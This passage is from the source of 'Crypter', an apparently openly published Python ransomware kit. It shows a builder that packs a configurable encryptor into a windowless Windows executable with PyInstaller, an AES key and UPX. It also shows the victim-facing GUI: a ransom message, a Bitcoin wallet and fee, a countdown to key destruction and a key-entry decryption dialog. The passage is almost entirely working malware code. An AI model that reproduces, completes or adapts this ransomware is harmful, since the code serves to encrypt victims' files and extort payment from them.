__str__(self): 60 | ''' 61 | @summary: Return Class name for logging purposes 62 | ''' 63 | return "Builder" 64 | 65 | 66 | def __console_log(self, msg=None, debug_level=0, ccode=0, timestamp=True, _class=None, **kwargs): 67 | ''' 68 | @summary: Private Console logger method. Logs the Builders progress to the GUI Console 69 | using wx Publisher update 70 | @param msg: The msg to print to the console 71 | @param debug_level: The debug level of the message being logged 72 | ''' 73 | 74 | # Define update data dict and add any kwarg items 75 | update_data_dict = { 76 | "_class": str(self) if not _class else _class, 77 | "msg": msg, 78 | "debug_level": debug_level, 79 | "ccode": ccode, 80 | "timestamp": timestamp 81 | } 82 | for key, value in kwargs.items(): 83 | update_data_dict[key] = value 84 | 85 | # Send update data 86 | pub.sendMessage("update", msg=update_data_dict) 87 | 88 | 89 | def validate_input(self, input_field, input_value): 90 | ''' 91 | @summary: Validates the value of the specified input field 92 | @raise ValidationException: If validation of the input field fails 93 | ''' 94 | 95 | # If item doesn't require validating, skip 96 | if BUILDER_CONFIG_ITEMS[input_field]["validate"] is not True: 97 | self.__console_log(msg="Skipping validation for '%s'" % BUILDER_CONFIG_ITEMS[input_field]["label"], 98 | debug_level=3) 99 | return 100 | 101 | self.__console_log(msg="%s input should match regex '%s'. Got '%s'" % ( 102 | BUILDER_CONFIG_ITEMS[input_field]["label"], 103 | BUILDER_CONFIG_ITEMS[input_field]["regex"].pattern, 104 | input_value 105 | ), 106 | debug_level=3 107 | ) 108 | 109 | # If input matches expected regex, return True 110 | if not BUILDER_CONFIG_ITEMS[input_field]["regex"].match(input_value): 111 | raise ValidationException 112 | # If icon_file, check file exists 113 | elif input_field == "icon_file" and input_value: 114 | if not os.path.isfile(input_value): 115 | raise ValidationException 116 | else: 117 | self.__console_log(msg="Icon file at '%s' is a valid file" % input_value, debug_level=3) 118 | 119 | # If field is empty, set it to the defined default value (if there is one, else blank) 120 | if not input_value and "default" in BUILDER_CONFIG_ITEMS[input_field]: 121 | return BUILDER_CONFIG_ITEMS[input_field]["default"] 122 | 123 | 124 | def run(self): 125 | ''' 126 | @summary: Performs the build operation 127 | ''' 128 | self.__in_progress = True 129 | 130 | # Starting validation 131 | self.__console_log(msg="Checking configuration...", debug_level=1) 132 | 133 | # Catch build halts 134 | try: 135 | # Iterate input fields and validate 136 | for input_field in self.user_input_dict: 137 | time.sleep(0.1) 138 | 139 | # Break if STOP set 140 | if self.__stop_event.is_set(): 141 | raise UserHalt 142 | 143 | # Validate input field 144 | # If invalid input, log to console and set input field to red 145 | self.__console_log(msg="Checking %s" % input_field, debug_level=1) 146 | try: 147 | # Update field value to default if one set 148 | default_value = self.validate_input(input_field, self.user_input_dict[input_field]) 149 | if default_value: 150 | self.user_input_dict[input_field] = default_value 151 | self.__console_log("No value provided for %s. Setting to default '%s'" % ( 152 | input_field, 153 | default_value, 154 | ), 155 | debug_level=2 156 | ) 157 | # Validation failed. Provide field description and expectations 158 | except ValidationException: 159 | self.__console_log( 160 | msg="Invalid value submitted for '%s'. Expected '%s', such as '%s' but received '%s'" % ( 161 | BUILDER_CONFIG_ITEMS[input_field]["label"], 162 | BUILDER_CONFIG_ITEMS[input_field]["input_requirement"], 163 | BUILDER_CONFIG_ITEMS[input_field]["example"], 164 | self.user_input_dict[input_field] 165 | ), 166 | ccode=ERROR_INVALID_DATA, 167 | invalid_input_field=input_field 168 | ) 169 | self.__in_progress = False 170 | self.__build_error = True 171 | break 172 | 173 | # Validation success 174 | if not self.__build_error and not self.__build_stopped: 175 | self.__console_log(msg="Validation successful", debug_level=1) 176 | # Encryption type debug message 177 | if self.user_input_dict["encrypt_user_home"] and self.user_input_dict["encrypt_attached_drives"]: 178 | self.__console_log(msg="Encryption will target attached drives and the user's home directory", 179 | debug_level=1) 180 | elif self.user_input_dict["encrypt_user_home"] and not self.user_input_dict["encrypt_attached_drives"]: 181 | self.__console_log(msg="Encryption will only target the user's home directory", 182 | debug_level=1) 183 | elif not self.user_input_dict["encrypt_user_home"] and self.user_input_dict["encrypt_attached_drives"]: 184 | self.__console_log(msg="Encryption will only target attached drives", 185 | debug_level=1) 186 | else: 187 | self.__console_log(msg="(warning): Not set to encrypt attached drives or user's home directory." 188 | " The encryption process will be skipped", 189 | debug_level=1) 190 | self.__create_runtime_config() 191 | spec_path = self.__create_spec_file() 192 | self.__run_pyinstaller(spec_path) 193 | self.__move_binary() 194 | 195 | # If not error, set success 196 | if not self.__build_error and not self.__build_stopped: 197 | self.__build_success = True 198 | 199 | # Build manually halted by user 200 | except UserHalt: 201 | self.__console_log(msg="Force stop detected. Halting build at next opportunity") 202 | self.__build_stopped = True 203 | # Build failed 204 | except BuildFailure as be: 205 | self.__build_error = True 206 | # self.__console_log(msg=be[0]["message"], ccode=be[0]["ccode"]) 207 | self.__console_log(msg=be, ccode=be.get_code()) 208 | 209 | # Build thread finished. Log and Reset build status to prevent further console updates 210 | self.__in_progress = False 211 | self.__console_log("Build process thread finished", debug_level=3) 212 | self.__build_error = False 213 | self.__build_stopped = False 214 | self.__build_success = False 215 | 216 | 217 | def __move_binary(self): 218 | ''' 219 | @summary: Move the produced PyInstaller binary to the correct directory 220 | and rename the file appropriately 221 | ''' 222 | # Check for stop 223 | if self.__stop_event.isSet(): 224 | raise UserHalt 225 | 226 | # Create target binary filename 227 | dest_filename = "%s.exe" % CRYPTER_FILENAME 228 | 229 | # Check Binary was produced 230 | if not os.path.isfile("dist\\Main.exe"): 231 | raise BuildFailure( 232 | ERROR_FILE_NOT_FOUND, 233 | "PyInstaller produced binary was not found. The PyInstaller build probably failed." 234 | " Check The PyInstaller output for more details, and ensure a valid PyInstaller install exists.", 235 | ) 236 | # Otherwise move the file to the correct location 237 | else: 238 | 239 | # Make bin dir if it doesn't exist 240 | if not os.path.isdir("bin"): 241 | os.makedirs("bin") 242 | 243 | if os.path.isfile("bin\\%s" % dest_filename): 244 | try: 245 | os.remove("bin\\%s" % dest_filename) 246 | except WindowsError: 247 | raise BuildFailure( 248 | ERROR_CANNOT_WRITE, 249 | "The existing binary at 'bin\\%s' could not be replaced with the new binary. Check that the" 250 | " ransomware isn't already open, and that you have sufficient permissions for the" 251 | " bin folder" % dest_filename, 252 | ) 253 | 254 | # Move binary 255 | os.rename("dist\\Main.exe", 256 | "bin\\%s" % dest_filename) 257 | self.__binary_location = os.path.join( 258 | os.path.abspath("bin"), 259 | dest_filename 260 | ) 261 | 262 | 263 | def __run_pyinstaller(self, spec_path): 264 | ''' 265 | @summary: Invokes PyInstaller with the generated SPEC file 266 | @param spec_path: The path the the created PyInstaller SPEC file 267 | ''' 268 | # Check for stop 269 | if self.__stop_event.isSet(): 270 | raise UserHalt 271 | 272 | self.__console_log(msg="Calling PyInstaller. Please wait...") 273 | 274 | # Get PyInstaller location 275 | pyinstaller_path = os.path.join(os.path.dirname(sys.executable), "pyinstaller.exe") 276 | if not os.path.isfile(pyinstaller_path): 277 | self.__console_log("PyInstaller not found at '%s'. Making system wide call instead" % pyinstaller_path, 278 | debug_level=2) 279 | pyinstaller_path = "pyinstaller" 280 | else: 281 | self.__console_log("PyInstaller found at '%s'" % pyinstaller_path, 282 | debug_level=2) 283 | 284 | # Build command 285 | cmd = [ 286 | pyinstaller_path, 287 | "--noconsole", 288 | "--clean", 289 | "-F" 290 | ] 291 | if self.user_input_dict["upx_dir"]: 292 | cmd.append("--upx-dir") 293 | cmd.append(self.user_input_dict["upx_dir"]) 294 | else: 295 | cmd.append("--noupx") 296 | cmd.append(spec_path) 297 | 298 | self.__console_log(msg="Running command: %s" % " ".join(cmd), 299 | debug_level=2) 300 | 301 | 302 | # Call PyInstaller subprocess 303 | try: 304 | build = subprocess.Popen(cmd, 305 | stdout=subprocess.PIPE, 306 | stderr=subprocess.STDOUT, 307 | creationflags=0x08000000 # To prevent console window opening 308 | ) 309 | except WindowsError as we: 310 | raise BuildFailure( 311 | ERROR_FILE_NOT_FOUND, 312 | "Call to PyInstaller failed. Check that PyInstaller is installed and can be found" 313 | " on the system path" 314 | ) 315 | 316 | while True: 317 | # Check for stop 318 | if self.__stop_event.isSet(): 319 | build.kill() 320 | raise UserHalt 321 | 322 | line = build.stdout.readline() 323 | if line: 324 | self.__console_log(msg=line.rstrip(), 325 | _class="PyInstaller", 326 | debug_level=1) 327 | else: 328 | break 329 | 330 | 331 | def __create_spec_file(self): 332 | ''' 333 | @summary: Create the binaries SPEC file 334 | ''' 335 | # Check for stop 336 | if self.__stop_event.isSet(): 337 | raise UserHalt 338 | 339 | self.__console_log(msg="Creating PyInstaller SPEC file") 340 | spec = Spec() 341 | # PI AES key 342 | if self.user_input_dict["pyinstaller_aes_key"] and not self.__stop_event.isSet(): 343 | spec.set_cipher_key(self.user_input_dict["pyinstaller_aes_key"]) 344 | elif self.__stop_event.isSet(): 345 | raise UserHalt 346 | # Binary Icon 347 | if self.user_input_dict["icon_file"] and not self.__stop_event.isSet(): 348 | spec.set_icon(self.user_input_dict["icon_file"]) 349 | elif self.__stop_event.isSet(): 350 | raise UserHalt 351 | # UPX 352 | if self.user_input_dict["upx_dir"] and not self.__stop_event.isSet(): 353 | spec.enable_upx() 354 | elif self.__stop_event.isSet(): 355 | raise UserHalt 356 | else: 357 | self.__console_log(msg="(Warning): UPX path not specified. The PyInstaller binary will not be packed." 358 | " It is recommended that UPX is used as this can reduce the binary size by several" 359 | " Megabytes" 360 | ) 361 | 362 | # Write the SPEC 363 | if not self.__stop_event.isSet(): 364 | spec_path = spec.save_spec() 365 | self.__console_log(msg="SPEC file successfully created") 366 | else: 367 | raise UserHalt 368 | 369 | return spec_path 370 | 371 | 372 | def __create_runtime_config(self): 373 | ''' 374 | @summary: Creates and writes ransomware's runtime config file 375 | ''' 376 | # Check for stop 377 | if self.__stop_event.isSet(): 378 | raise UserHalt 379 | 380 | self.__console_log(msg="Creating binary runtime config at %s" % RUNTIME_CONFIG_PATH, 381 | debug_level=1) 382 | config_dict = {"maj_version": MAJ_VERSION, 383 | "min_version": MIN_VERSION} 384 | 385 | # Parse filetypes to encrypt 386 | self.user_input_dict["filetypes_to_encrypt"] = self.user_input_dict["filetypes_to_encrypt"].split(",") 387 | for index in range(len(self.user_input_dict["filetypes_to_encrypt"])): 388 | self.user_input_dict["filetypes_to_encrypt"][index] = self.user_input_dict["filetypes_to_encrypt"][index].strip().strip(".") 389 | 390 | # Parse encrypted file extension 391 | self.user_input_dict["encrypted_file_extension"] = self.user_input_dict["encrypted_file_extension"].strip(".") 392 | 393 | for config_item in RUNTIME_CONFIG_ITEMS: 394 | config_dict[config_item] = self.user_input_dict[config_item] 395 | self.__console_log(msg="Runtime config: %s" % config_dict, debug_level=3) 396 | 397 | with open(RUNTIME_CONFIG_PATH, "w") as runtime_config_file: 398 | json.dump(config_dict, runtime_config_file, indent=4) 399 | 400 | self.__console_log(msg="Runtime config successfully written", debug_level=1) 401 | 402 | 403 | 404 | def finished_with_error(self): 405 | ''' 406 | @summary: Determines whether the build process finished with an error 407 | @return: True if finished with an error. False if finished successfully 408 | ''' 409 | if self.__build_error: 410 | return True 411 | else: 412 | return False 413 | 414 | 415 | def finished_with_success(self): 416 | ''' 417 | @summary: Determines whether the build process finished successfully 418 | @return: True if finished successfully. False is finished with an error 419 | ''' 420 | if self.__build_success: 421 | return True 422 | else: 423 | return False 424 | 425 | 426 | def finished_with_stop(self): 427 | ''' 428 | @summary: Determines if the build finished because it was halted 429 | by the user 430 | @return: True if force halted. False if not force halted 431 | ''' 432 | if self.__build_stopped: 433 | return True 434 | else: 435 | return False 436 | 437 | 438 | def stop(self): 439 | ''' 440 | @summary: To be called to set the stop event and end the build process 441 | ''' 442 | 443 | self.__stop_event.set() 444 | 445 | 446 | def get_exe_location(self): 447 | ''' 448 | @summary: Returns the location of the Crypter exe that was built 449 | ''' 450 | 451 | return self.__binary_location 452 | 453 | -------------------------------------------------------------------------------- /Crypter/Crypter/Gui.py: -------------------------------------------------------------------------------- 1 | """Subclass of MainFrame, which is generated by wxFormBuilder.""" 2 | ''' 3 | @summary: Crypter: GUI Class 4 | @author: MLS 5 | ''' 6 | 7 | # Import libs 8 | import os 9 | import time 10 | import webbrowser 11 | import wx 12 | from pubsub import pub 13 | from threading import Thread, Event 14 | 15 | # Import Package Libs 16 | from . import Base 17 | from .GuiAbsBase import EnterDecryptionKeyDialog 18 | from .GuiAbsBase import MainFrame 19 | from .GuiAbsBase import ViewEncryptedFilesDialog 20 | 21 | 22 | ############################ 23 | ## DECRYPTIONTHREAD CLASS ## 24 | ############################ 25 | class DecryptionThread(Thread): 26 | ''' 27 | @summary: Provides a thread for file decryption 28 | ''' 29 | 30 | def __init__(self, encrypted_files_list, decrypted_files_list, parent, 31 | decrypter, decryption_key): 32 | ''' 33 | @summary: Constructor: Starts the thread 34 | @param encrypted_files_list: The list of encrypted files 35 | @param decrypted_files_list: The list of files that were decrypted, but have now been decrypted 36 | @param parent: Handle to the GUI parent object 37 | @param decrypter: Handle to the decrypter (Main object) 38 | @param decryption_key: AES 256 bit decryption key to be used for file decryption 39 | ''' 40 | self.parent = parent 41 | self.encrypted_files_list = encrypted_files_list 42 | self.decrypted_files_list = decrypted_files_list 43 | self.decrypter = decrypter 44 | self.decryption_key = decryption_key 45 | self.in_progress = False 46 | self.decryption_complete = False 47 | self._stop_event = Event() 48 | 49 | # Start thread 50 | Thread.__init__(self) 51 | self.start() 52 | 53 | def run(self): 54 | ''' 55 | @summary: Performs decryption of the encrypted files 56 | ''' 57 | self.in_progress = True 58 | time.sleep(0.5) 59 | 60 | # Iterate encrypted files 61 | for i in range(len(self.encrypted_files_list)): 62 | 63 | # Check for thread termination signal and break if set 64 | if self._stop_event.is_set(): 65 | break 66 | else: 67 | # Decrypt file and add to list of decrypted files. Update progress 68 | self.decrypter.decrypt_file(self.encrypted_files_list[i], self.decryption_key) 69 | self.decrypted_files_list.append(self.encrypted_files_list[i]) 70 | #Publisher.sendMessage("update", "") 71 | pub.sendMessage("update") 72 | 73 | # Encryption stopped or finished 74 | self.in_progress = False 75 | 76 | # Check if decryption was completed 77 | if len(self.decrypted_files_list) == len(self.encrypted_files_list): 78 | self.decryption_complete = True 79 | 80 | # Run a final progress update 81 | #Publisher.sendMessage("update", "") 82 | pub.sendMessage("update") 83 | 84 | # Remove decrypted files from the list of encrypted files 85 | # Update the GUIs encrypted and decrypted file lists 86 | for file in self.decrypted_files_list: 87 | if file in self.encrypted_files_list: 88 | self.encrypted_files_list.remove(file) 89 | 90 | # Make sure GUI file lists are up-to-date 91 | self.parent.decrypted_files_list = [] 92 | self.parent.encrypted_files_list = self.encrypted_files_list 93 | 94 | # If forcefully stopped, close the dialog 95 | if self._stop_event.is_set(): 96 | self.parent.decryption_dialog.Destroy() 97 | 98 | def stop(self): 99 | ''' 100 | @summary: To be called to set the stop event and terminate the thread after the next cycle 101 | ''' 102 | 103 | # If complete or not in progress, and event is already set, close forcefully 104 | if self.decryption_complete or not self.in_progress: 105 | self.parent.decryption_dialog.Destroy() 106 | # Otherwise, only set signal 107 | else: 108 | self._stop_event.set() 109 | 110 | 111 | ############### 112 | ## GUI CLASS ## 113 | ############### 114 | class Gui(MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base): 115 | ''' 116 | @summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions, 117 | labels, text, buttons, images etc. Also inherits from main Base for schema 118 | ''' 119 | 120 | def __init__(self, image_path, start_time, decrypter, config): 121 | ''' 122 | @summary: Constructor 123 | @param image_path: The path to look at to find resources, such as images. 124 | @param start_time: EPOCH time that the encryption finished. 125 | @param decrypter: Handle back to Main. For calling decryption method 126 | @param config: The ransomware's runtime config dict 127 | ''' 128 | # Handle Params 129 | self.image_path = image_path 130 | self.start_time = start_time 131 | self.decrypter = decrypter 132 | self.__config = config 133 | self.decryption_thread = None 134 | self.decryption_dialog = None 135 | self.encrypted_files_list = self.decrypter.get_encrypted_files_list() 136 | self.decrypted_files_list = [] 137 | 138 | # Define other vars 139 | self.set_message_to_null = True 140 | 141 | # Super 142 | MainFrame.__init__(self, parent=None) 143 | 144 | # Update GUI visuals 145 | self.update_visuals() 146 | 147 | # Update events 148 | self.set_events() 149 | 150 | # Create pubsub listener to update the decryption progress 151 | #Publisher.subscribe(self.update_decryption_progress, "update") 152 | pub.subscribe(self.update_decryption_progress, "update") 153 | 154 | def update_decryption_progress(self): 155 | ''' 156 | @summary: Updates the decryption progress in the GUI 157 | ''' 158 | 159 | # Calculate percentage completion 160 | if len(self.encrypted_files_list) == 0: 161 | percentage_completion = 100 162 | else: 163 | percentage_completion = float(len(self.decrypted_files_list)) * 100.0 / float( 164 | len(self.encrypted_files_list)) 165 | 166 | # Update number of encrypted files remaining 167 | if not self.decryption_thread.decryption_complete: 168 | encrypted_files_remaining = len(self.encrypted_files_list) - len(self.decrypted_files_list) 169 | else: 170 | encrypted_files_remaining = 0 171 | 172 | # Set encrypted files number in GUI 173 | self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( 174 | "Encrypted Files: %s" % encrypted_files_remaining) 175 | 176 | # Update Decryption percentage completion 177 | if percentage_completion != 100: 178 | self.decryption_dialog.StatusText.SetLabelText( 179 | self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (%d%%)" % percentage_completion 180 | ) 181 | else: 182 | self.decryption_dialog.StatusText.SetLabelText( 183 | self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED[self.LANG] + " (%d%%)" % percentage_completion 184 | ) 185 | 186 | # Update decryption gauge 187 | if self.encrypted_files_list: 188 | self.decryption_dialog.DecryptionGauge.SetValue(percentage_completion) 189 | else: 190 | self.decryption_dialog.DecryptionGauge.SetValue(100) 191 | 192 | # If the decryption has successfully finished, update the GUI 193 | if not self.decryption_thread.in_progress and self.decryption_thread.decryption_complete: 194 | # Cleanup decrypter and change dialog message 195 | self.decrypter.cleanup() 196 | # Update main window 197 | self.key_destruction_timer.Stop() 198 | self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_DECRYPTED[self.LANG]) 199 | self.FlashingMessageText.SetForegroundColour(wx.Colour(2, 217, 5)) 200 | self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) 201 | self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) 202 | 203 | # Disable decryption and files list buttons 204 | self.EnterDecryptionKeyButton.Disable() 205 | self.ViewEncryptedFilesButton.Disable() 206 | 207 | def open_url(self, event): 208 | ''' 209 | @summary: Opens a web browser at the Bitcoin URL 210 | ''' 211 | 212 | webbrowser.open(self.BTC_BUTTON_URL) 213 | 214 | def set_events(self): 215 | ''' 216 | @summary: Create button and timer events for GUI 217 | ''' 218 | 219 | # Create and bind timer event 220 | self.key_destruction_timer = wx.Timer() 221 | self.key_destruction_timer.SetOwner(self, wx.ID_ANY) 222 | self.key_destruction_timer.Start(500) 223 | self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer) 224 | 225 | # Create button events 226 | self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton) 227 | self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton) 228 | self.Bind(wx.EVT_BUTTON, self.open_url, self.BitcoinButton) 229 | 230 | def stop_decryption(self, event): 231 | ''' 232 | @summary: Called when the decryption dialog is closed. Sends a stop event 233 | signal to the decryption thread if it exists 234 | ''' 235 | 236 | # Send stop event to the decryption thread if it exists 237 | if self.decryption_thread and self.decryption_thread.in_progress: 238 | self.decryption_thread.stop() 239 | # Otherwise just kill the dialog 240 | else: 241 | self.decryption_dialog.Destroy() 242 | 243 | def show_decryption_dialog(self, event): 244 | ''' 245 | @summary: Creates a dialog object to show the decryption dialog 246 | ''' 247 | 248 | # If dialog open. Don't open another 249 | if self.decryption_dialog: 250 | return 251 | 252 | # Create dialog object 253 | self.decryption_dialog = EnterDecryptionKeyDialog(self) 254 | # Set gauge size 255 | self.decryption_dialog.DecryptionGauge.SetRange(100) 256 | # Set encrypted file number 257 | self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( 258 | self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT[self.LANG] + str( 259 | len(self.encrypted_files_list) - len(self.decrypted_files_list) 260 | ) 261 | ) 262 | 263 | # Bind OK button to decryption process 264 | self.decryption_dialog.Bind(wx.EVT_BUTTON, self.start_decryption_thread, self.decryption_dialog.OkCancelSizerOK) 265 | # Bind close and cancel event to thread killer 266 | self.decryption_dialog.Bind(wx.EVT_BUTTON, self.stop_decryption, self.decryption_dialog.OkCancelSizerCancel) 267 | self.decryption_dialog.Bind(wx.EVT_CLOSE, self.stop_decryption) 268 | self.decryption_dialog.Show() 269 | 270 | def start_decryption_thread(self, event): 271 | ''' 272 | @summary: Called once the "OK" button is hit. Starts the decryption process (inits the thread) 273 | ''' 274 | 275 | key_contents = self.decryption_dialog.DecryptionKeyTextCtrl.GetLineText(0) 276 | # Check key is valid 277 | if len(key_contents) < 32: 278 | self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY[self.LANG]) 279 | return 280 | # Check key is correct 281 | elif not self.__is_correct_decryption_key(key_contents): 282 | self.decryption_dialog.StatusText.SetLabelText("Incorrect Decryption Key!") 283 | return 284 | else: 285 | self.decryption_dialog.StatusText.SetLabelText( 286 | self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (0%)" 287 | ) 288 | 289 | # Disable dialog buttons 290 | self.decryption_dialog.OkCancelSizerOK.Disable() 291 | self.decryption_dialog.OkCancelSizerCancel.Disable() 292 | 293 | # Start the decryption thread 294 | self.decryption_thread = DecryptionThread(self.encrypted_files_list, self.decrypted_files_list, 295 | self, self.decrypter, key_contents) 296 | 297 | def __is_correct_decryption_key(self, key): 298 | ''' 299 | Checks if the provided decryption key is correct 300 | @param key: The decryption key to check 301 | @return: True if the decryption key is valid, otherwise False 302 | ''' 303 | correct_key = False 304 | encryption_test_file_path = self.decrypter.encryption_test_file + "." + self.__config["encrypted_file_extension"] 305 | 306 | # Read test file encrypted contents 307 | with open(encryption_test_file_path, "rb") as encrypted_test_file: 308 | encrypted_contents = encrypted_test_file.read() 309 | 310 | # Test decryption 311 | self.decrypter.decrypt_file(self.decrypter.encryption_test_file, key) 312 | 313 | # Check for success 314 | with open(self.decrypter.encryption_test_file, "rb") as encrypted_test_file: 315 | contents = encrypted_test_file.read().decode("utf-8") 316 | if contents == "Encryption test": 317 | correct_key = True 318 | 319 | # write old encrypted contents back 320 | with open(encryption_test_file_path, "wb") as encrypted_test_file: 321 | encrypted_test_file.write(encrypted_contents) 322 | os.remove(self.decrypter.encryption_test_file) 323 | 324 | return correct_key 325 | 326 | 327 | def show_encrypted_files(self, event): 328 | ''' 329 | @summary: Creates a dialog object showing a list of the files that were encrypted 330 | ''' 331 | 332 | # Create dialog object and file list string 333 | self.encrypted_files_dialog = ViewEncryptedFilesDialog(self) 334 | encrypted_files_list = "" 335 | for file in self.encrypted_files_list: 336 | encrypted_files_list += "%s" % file 337 | 338 | # If the list of encrypted files exists, load contents 339 | if encrypted_files_list: 340 | self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetValue(encrypted_files_list) 341 | # Otherwise set to none found 342 | else: 343 | self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText( 344 | self.GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND[self.LANG]) 345 | 346 | self.encrypted_files_dialog.Show() 347 | 348 | def blink(self, event): 349 | ''' 350 | @summary: Blinks the subheader text 351 | ''' 352 | 353 | # Update the time remaining 354 | time_remaining = self.get_time_remaining() 355 | 356 | # Set message to blank 357 | if self.set_message_to_null and time_remaining: 358 | self.FlashingMessageText.SetLabelText("") 359 | self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) 360 | self.set_message_to_null = False 361 | # Set message to text 362 | elif time_remaining: 363 | self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) 364 | self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) 365 | self.set_message_to_null = True 366 | 367 | # If the key has been destroyed, update the menu text 368 | if not time_remaining: 369 | # Cleanup decrypter and change dialog message 370 | self.decrypter.cleanup() 371 | # Update main window 372 | self.key_destruction_timer.Stop() 373 | self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) 374 | self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_DESTROYED[self.LANG]) 375 | self.FlashingMessageText.SetForegroundColour(wx.Colour(0, 0, 0)) 376 | # Disable decryption button 377 | self.EnterDecryptionKeyButton.Disable() 378 | self.ViewEncryptedFilesButton.Disable() 379 | self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) 380 | else: 381 | self.TimeRemainingTime.SetLabelText(time_remaining) 382 | 383 | def get_time_remaining(self): 384 | ''' 385 | @summary: Method to read the time of encryption and determine the time remaining 386 | before the decryption key is destroyed 387 | @return: time remaining until decryption key is destroyed 388 | ''' 389 | 390 | seconds_elapsed = int(time.time() - int(self.start_time)) 391 | 392 | _time_remaining = int(self.__config["key_destruction_time"]) - seconds_elapsed 393 | if _time_remaining <= 0: 394 | return None 395 | 396 | minutes, seconds = divmod(_time_remaining, 60) 397 | hours, minutes = divmod(minutes, 60) 398 | 399 | return "%02d:%02d:%02d" % (hours, minutes, seconds) 400 | 401 | def update_visuals(self): 402 | ''' 403 | @summary: Method to update the GUI visuals/aesthetics, i.e labels, images etc. 404 | ''' 405 | 406 | # Set Frame Style 407 | style = wx.CAPTION | wx.CLOSE_BOX | wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.TAB_TRAVERSAL 408 | if self.__config["make_gui_resizeable"]: 409 | style = style | wx.RESIZE_BORDER 410 | if self.__config["always_on_top"]: 411 | style = style | wx.STAY_ON_TOP 412 | self.SetWindowStyle(style) 413 | 414 | # Background Colour 415 | self.SetBackgroundColour(wx.Colour( 416 | self.__config["background_colour"][0], 417 | self.__config["background_colour"][1], 418 | self.__config["background_colour"][2] 419 | ) 420 | ) 421 | 422 | # Icon 423 | icon = wx.Icon() 424 | icon.CopyFromBitmap(wx.Bitmap( 425 | os.path.join(self.image_path, self.GUI_IMAGE_ICON) 426 | )) 427 | self.SetIcon(icon) 428 | 429 | # Titles 430 | # ======================================================================= 431 | # self.SetTitle(self.GUI_LABEL_TEXT_TITLE[self.LANG] + " v%s.%s" % ( 432 | # self.__config["maj_version"], 433 | # self.__config["min_version"] 434 | # ) 435 | # ) 436 | # self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG].upper()) 437 | # self.TitleLabel.SetForegroundColour(wx.Colour( 438 | # self.__config["heading_font_colour"][0], 439 | # self.__config["heading_font_colour"][1], 440 | # self.__config["heading_font_colour"][2], 441 | # ) 442 | # ) 443 | # ======================================================================= 444 | self.SetTitle(self.__config["gui_title"] + " v%s.%s" % ( 445 | self.__config["maj_version"], 446 | self.__config["min_version"] 447 | ) 448 | ) 449 | self.TitleLabel.SetLabel(self.__config["gui_title"]) 450 | 451 | # Set flashing text initial label and Colour 452 | self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) 453 | self.__set_as_primary_colour(self.FlashingMessageText) 454 | 455 | # Set Ransom Message 456 | self.RansomMessageText.SetValue(self.__config["ransom_message"]) 457 | 458 | # Set Logo 459 | self.LockBitmap.SetBitmap( 460 | wx.Bitmap( 461 | os.path.join(self.image_path, self.GUI_IMAGE_LOGO), 462 | wx.BITMAP_TYPE_ANY 463 | ) 464 | ) 465 | 466 | # Set Bitcoin Button logo 467 | self.BitcoinButton.SetBitmap( 468 | wx.Bitmap( 469 | os.path.join(self.image_path, self.GUI_IMAGE_BUTTON), 470 | wx.BITMAP_TYPE_ANY 471 | ) 472 | ) 473 | 474 | # Set key destruction label 475 | self.TimeRemainingLabel.SetLabel(self.GUI_LABEL_TEXT_TIME_REMAINING[self.LANG]) 476 | self.__set_as_primary_colour(self.TimeRemainingLabel) 477 | 478 | # Set Wallet Address label 479 | self.WalletAddressLabel.SetLabel(self.GUI_LABEL_TEXT_WALLET_ADDRESS[self.LANG]) 480 | self.__set_as_primary_colour(self.WalletAddressLabel) 481 | 482 | # Set Wallet Address Value 483 | self.WalletAddressString.SetLabel(self.__config["wallet_address"]) 484 | self.__set_as_secondary_colour(self.WalletAddressString) 485 | 486 | # Set Bitcoin Fee label 487 | self.BitcoinFeeLabel.SetLabel(self.GUI_LABEL_TEXT_BITCOIN_FEE[self.LANG]) 488 | self.__set_as_primary_colour(self.BitcoinFeeLabel) 489 | 490 | # Set Bitcoin Fee Value 491 | self.BitcoinFeeString.SetLabel(self.__config["bitcoin_fee"]) 492 | self.__set_as_secondary_colour(self.BitcoinFeeString) 493 | 494 | # Set Timer font colour 495 | self.__set_as_secondary_colour(self.TimeRemainingTime) 496 | 497 | # Set Button Text 498 | self.ViewEncryptedFilesButton.SetLabel(self.GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES[self.LANG]) 499 | self.EnterDecryptionKeyButton.SetLabel(self.GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY[self.LANG]) 500 | 501 | def __set_as_secondary_colour(self, obj): 502 | ''' 503 | @summary: Sets the objects foreground colour to the secondary colour specified by the config 504 | ''' 505 | 506 | obj.SetForegroundColour(wx.Colour( 507 | self.__config["secondary_font_colour"][0], 508 | self.__config["secondary_font_colour"][1], 509 | self.__config["secondary_font_colour"][2] 510 | ) 511 | ) 512 | 513 | 